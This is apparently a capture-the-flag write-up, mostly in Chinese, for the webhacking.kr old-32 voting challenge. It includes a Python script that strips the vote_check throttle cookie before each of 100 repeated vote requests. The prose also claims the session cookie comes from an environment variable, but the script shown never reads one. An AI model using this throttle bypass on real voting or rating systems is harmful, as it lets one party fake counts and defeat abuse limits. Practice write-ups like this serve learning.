Challenge
Accumulate 100 votes while resetting the per-session vote cookie.
累计 100 次投票,并在同一 session 中清除每次投票后设置的 cookie。
1
| https://webhacking.kr/challenge/code-5/
|
Analysis
页面通过 ?hit=<name> 给指定用户增加一次
Hit,并在响应中设置 vote_check=ok,用来阻止同一 session
的连续投票。删除这个 challenge 设置的 cookie 后,可以在同一 session
中再次发送投票请求。
Solution
以下脚本保留同一个 requests.Session,每次投票前删除
vote_check。session-cookie
从环境变量读取,避免把认证值写入文章。目标用户名和请求数量作为参数传入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import argparse import os
import requests
def vote(session: requests.Session, endpoint: str, username: str) -> str: """Delete the challenge throttle cookie, then cast one vote.""" session.cookies.pop("vote_check", None) response = session.get(endpoint, params={"hit": username}, timeout=20) response.raise_for_status() return response.text
def main() -> None: parser = argparse.ArgumentParser(description="Repeat old-32 votes in one session") parser.add_argument("--base", default="https://webhacking.kr") parser.add_argument("--user", default="JHsoda10") parser.add_argument("--count", type=int, default=100) args = parser.parse_args()
if args.count < 1: raise SystemExit("--count must be positive")
session = requests.Session()
endpoint = args.base.rstrip("/") + "/challenge/code-5/" for number in range(1, args.count + 1): body = vote(session, endpoint, args.user) print(f"vote {number}/{args.count}: {len(body)} bytes")
if __name__ == "__main__": main()
|
单次请求的完整参数形态为:
1 2
| GET /challenge/code-5/?hit=JHsoda10 Cookie: session-cookie=<session-cookie>
|
每次投票前删除 vote_check,直到计数达到 100。